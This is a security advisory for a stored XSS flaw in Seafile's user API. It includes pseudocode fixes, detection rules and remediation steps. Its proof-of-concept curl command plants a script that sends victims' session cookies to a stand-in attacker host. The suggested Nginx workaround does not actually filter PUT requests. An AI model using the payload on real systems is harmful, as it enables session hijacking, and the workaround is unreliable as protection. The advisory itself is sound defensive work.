CVE-2025-41079

Executive Summary

CVE-2025-41079 is a stored Cross-Site Scripting (XSS) vulnerability identified in Seafile v12.0.10. The flaw resides in the /api/v2.1/user/ endpoint, where the PUT parameter name is not properly sanitized. An attacker can inject malicious JavaScript payloads that are stored on the server and later executed in the browser of any user viewing the affected user profile or related interface. This can lead to session hijacking, credential theft, or further compromise of the Seafile instance. No official patch has been released at the time of analysis.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability characteristics, a realistic CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires an authenticated user to store the payload
• User Interaction (UI): Required (R) – victim must view the affected page
• Scope (S): Changed (C) – attacker can impact resources beyond the vulnerable component
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): Low (L)

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L Estimated Score: 8.0 (High)

Deep Dive & Mechanics

The vulnerability is a classic stored XSS. The Seafile API endpoint /api/v2.1/user/ accepts a PUT request with a name parameter intended to update the user's display name. The application fails to sanitize or encode this input before storing it in the database. When the user profile is rendered in a browser (e.g., via the Seafile web interface), the stored payload is executed.

Attack Flow:

1. Attacker authenticates to Seafile (or tricks an authenticated user).
2. Attacker sends a PUT request to /api/v2.1/user/ with a malicious payload in the name parameter, e.g., <script>alert('XSS')</script>.
3. The server stores the payload in the database.
4. Any user (including administrators) viewing the attacker's profile or a page that displays the name triggers the script execution.
5. The script can steal cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Vulnerable vs. Patched Code

Vulnerable Code (Seafile v12.0.10):

# Example vulnerable handler (pseudocode)
@api_view(['PUT'])
def update_user(request):
    name = request.data.get('name')
    user = request.user
    user.name = name  # No sanitization
    user.save()
    return Response({'status': 'ok'})

Patched Code (Expected):

# Example patched handler (pseudocode)
from django.utils.html import escape

@api_view(['PUT'])
def update_user(request):
    name = request.data.get('name')
    sanitized_name = escape(name)  # HTML-encode the input
    user = request.user
    user.name = sanitized_name
    user.save()
    return Response({'status': 'ok'})

The patch should apply output encoding (e.g., HTML entity encoding) to the name field before storage or rendering. Alternatively, a Content Security Policy (CSP) can mitigate execution, but proper input sanitization is the root fix.

Exploitation & Lab Setup

Red Team (Proof of Concept)

Prerequisites:

• A Seafile v12.0.10 instance (e.g., Docker: seafileltd/seafile:12.0.10)
• Valid user credentials

Exploit Steps:

1. Authenticate and obtain a session token.
2. Send a PUT request with the malicious payload:

curl -X PUT 'https://target.seafile.com/api/v2.1/user/' \
  -H 'Authorization: Token <your_token>' \
  -H 'Content-Type: application/json' \
  -d '{"name": "<script>fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)</script>"}'

3. Wait for an administrator or other user to view the attacker's profile.
4. The victim's browser executes the script, sending their session cookie to the attacker's server.

Blue Team (Detection & Hardening)

Detection:

• Monitor API logs for PUT requests to /api/v2.1/user/ containing suspicious patterns (e.g., <script>, onerror=, javascript:).
• Use WAF rules to block XSS payloads in the name parameter.

Hardening:

• Apply input validation: reject names containing HTML tags or JavaScript event handlers.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Restrict API access to trusted IPs if possible.

Indicators of Compromise (IOCs)

• Network:
  • PUT requests to /api/v2.1/user/ with name containing <script> or onerror= patterns.
  • Outbound connections from Seafile server to unknown domains (e.g., data exfiltration).
• Host:
  • User entries in the database with HTML tags in the name field.
  • Suspicious entries in web server logs (e.g., PUT /api/v2.1/user/ with non-standard user agents).
• File:
  • No specific file IOCs; the payload is stored in the database.

Detection Engineering

YARA Rule

rule CVE_2025_41079_Seafile_XSS {
    meta:
        description = "Detects stored XSS payloads in Seafile user name field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-41079"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/i
        $xss4 = /javascript\s*:\s*/i
    condition:
        any of them
}

Sigma Rule

title: Seafile Stored XSS via API PUT Request
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects PUT requests to Seafile user API with XSS payloads in the name parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: seafile
detection:
    selection:
        http.method: 'PUT'
        http.url: '/api/v2.1/user/'
        http.body|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of special characters in names (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-41079 Seafile Stored XSS Attempt"; flow:to_server; http.method; content:"PUT"; http.uri; content:"/api/v2.1/user/"; http.request_body; content:"<script"; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-41079 Seafile Stored XSS Attempt (onerror)"; flow:to_server; http.method; content:"PUT"; http.uri; content:"/api/v2.1/user/"; http.request_body; content:"onerror="; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-41079 Seafile Stored XSS Attempt (javascript)"; flow:to_server; http.method; content:"PUT"; http.uri; content:"/api/v2.1/user/"; http.request_body; content:"javascript:"; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if possible, or restrict it to trusted users only.
2. Implement a WAF rule to block XSS payloads in the name parameter.
3. Manually sanitize existing data by scanning the database for HTML tags in user names and removing them.

Long-term Fix:

• Apply input validation and output encoding to the name field in the Seafile source code.
• Upgrade to a patched version once released (monitor Seafile GitHub releases).
• Enforce a Content Security Policy (CSP) that disallows inline scripts.

Workaround:

• Use a reverse proxy (e.g., Nginx) to inspect and sanitize PUT requests to /api/v2.1/user/:

location /api/v2.1/user/ {
    limit_except PUT { deny all; }
    # Additional validation logic (e.g., using Lua or a custom module)
}

Valters IT
Securing Digital Frontiers